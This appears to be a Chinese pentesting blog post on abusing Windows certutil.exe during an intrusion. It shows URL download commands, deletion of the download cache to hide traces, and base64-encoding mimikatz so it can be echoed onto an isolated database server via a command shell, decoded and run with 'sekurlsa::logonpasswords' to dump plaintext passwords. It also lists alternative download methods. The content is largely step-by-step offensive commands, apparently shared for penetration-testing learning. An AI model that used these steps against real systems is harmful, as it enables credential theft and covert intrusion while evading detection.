写这篇的起因是围观了一点对话:
问:在工作组环境下,db服务器不出网(站库分离),有cmdshell。如果只是单单针对这个入口,有什么思路进行深入?
答:在echo正常的情况下,可以将工具打成base64丢上去抓明文密码,或者hash。
将工具做成base64丢上目标纯内网db服务器 这是什么操作?
我去问了我朋友,他就跟我说了一个 certutil
,剩下的就靠自己操作了。
certutil.exe
是一个合法Windows文件,用于管理Windows证书的程序。
微软官方是这样对它解释的:
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
但是此合法Windows服务现已被广泛滥用于恶意用途。
大佬们的博客里面都是参数拿起来就用,我不懂,所以在 Certutil 的 Windows 官方文档去找了下跟渗透有关、可以被利用的相关语法、参数。
-
-f
覆盖现有文件。 有值的命令行选项。后面跟要下载的文件 url。 -
-split
保存到文件。 无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。 -
-URLCache
显示或删除URL缓存条目。 无值的命令行选项。 (certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。) -
-encode
将文件编码为Base64 -
-decode
解码Base64编码的文件
(1) 保存在当前路径,文件名称同URI
语法:
certutil.exe -urlcache -split -f 文件url
payload:
效果:
(2) 保存在当前路径,指定保存文件名称
语法:
certutil.exe -urlcache -split -f 文件url file.txt
payload:
(3) 保存在缓存目录,名称随机
缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
语法:
certutil.exe -urlcache -f 文件url
payload:
效果:
文件名变了。
此种情况无法指定文件名:
如下图,成功写入了。但是文件名还是改变了(根据写入时间确定的文件)。
(4) 支持保存二进制文件
语法:
certutil.exe -urlcache -split -f 二进制文件url
payload:
效果:
清除痕迹: certutil.exe 下载有个弊端,它的每一次下载都有留有缓存,而导致留下入侵痕迹。
查看所有缓存记录:
certutil.exe -urlcache *
我就试下能不能全删了缓存记录就成功了:
certutil.exe -urlcache * delete
也不知道缓存项目都删了,会有什么后果呢。(´-ω-`)
标准做法是:
每次下载后,需要马上执行如下:
certutil.exe -urlcache -split -f 文件url delete
l
或者也可以直接删除缓存目录对应文件。
默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本。
直接删除:
(1) base64编码:
certutil.exe -encode InFile OutFile
(2) base64解码
CertUtil -decode InFile OutFile
注:编码后的文件会添加两处标识信息:
文件头: -----BEGIN CERTIFICATE-----
文件尾: -----END CERTIFICATE-----
基本了解了Certuil,下面回归最开始的问题:
问:在工作组环境下,db服务器不出网(站库分离),有cmdshell。如果只是单单针对这个入口,有什么思路进行深入?
答:在echo正常的情况下,可以将工具打成base64丢上去抓明文密码,或者hash。
1.mimikatz exe → certutil encode → base64encode.txt
2.echo string..line > base64decode.txt
注意要把mimikatz.txt
从这样:
变成这样:
就是去掉所有的空行(-----BEGIN CERTIFICATE-----
和-----END CERTIFICATE-----
这两句可以删掉)。
注:
已经做过实验,这样没问题。decode 出来是一样的。
附脚本:
with open('mmm.txt') as f:
with open('test.txt','w') as n:
for i in f.readlines():
i = str(i.split()).strip("['").strip("']")
n.write(i)
echo 入目标机器保存为文件:
3.certutil.exe decode base64decode.txt -> mimikatz.exe
4.cmd.exe /c mimikatz.exe "sekurlsa::logonpasswords"
本以为到此大功告成,没想到:
该exe
文件无法运行,我以为是电脑位数的问题,但是我试了下32位的mimikatz也是一样的问题。
在本机 windows 10 尝试此操作成功。另外对比了下传到目标机器的两个exe文件,都比原mimikatz exe小(原64位990 KB)。为什么这两个文件一个32位一个64位传上来文件就一样大了?
另外在目标上我直接下载了 mimikatz 发现可以运行,那一定不是mimikatz版本的问题。
至此答案已经昭然若揭了:就是命令行字符限制的问题。
所以解决方案也很简单:把编码后的文件分段追加到目标机器上。
但是这其实也不可行,因为切出来的子文件太多了(base64之后mimikatz 1.32MB):
一个一个echo追加我会先累死的。
直到这个时候、才会明白,工具的轻量级是多么重要。这种情况遇到可以写脚本的地方写个脚本自动追加上去。
这个时候应该怎么处理? 把mimikatz的抓明文功能单独提出来,这个部分请教了前辈。也按照约定不能写出来了。只能说,处理完的exe只有10多KB。
这样文件太大的限制不复存在。不做演示了。
我们在渗透中主要使用 Certuil 的下载(及编解码)功能,其(部分)替代品还有很多,如:
cmd下常用的下载文件(downloader)方法如下:
- certUtil
- powershell
- csc
- vbs
- JScript
- hta
- bitsadmin
- wget
- debug
- ftp
- ftfp
出处:3gstudent —— 《渗透技巧——通过cmd上传文件的N种方法》
- 查看利用certUtil下载文件的缓存记录:
certutil.exe -urlcache *
-
缓存文件位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
-
删除缓存记录 下载命令后面加
delete
关键词。
要么减小工具体积,要么脚本追加。
[1] 第三十八课:certutil一句话下载payload,Micro8 [2] 渗透测试中的certutil,3gstudent,2017年7月26日 [3] certutil微软文档,Microsoft,2017年10月16日 [4] CMD SHELL ECHO 写文件,2017年9月18日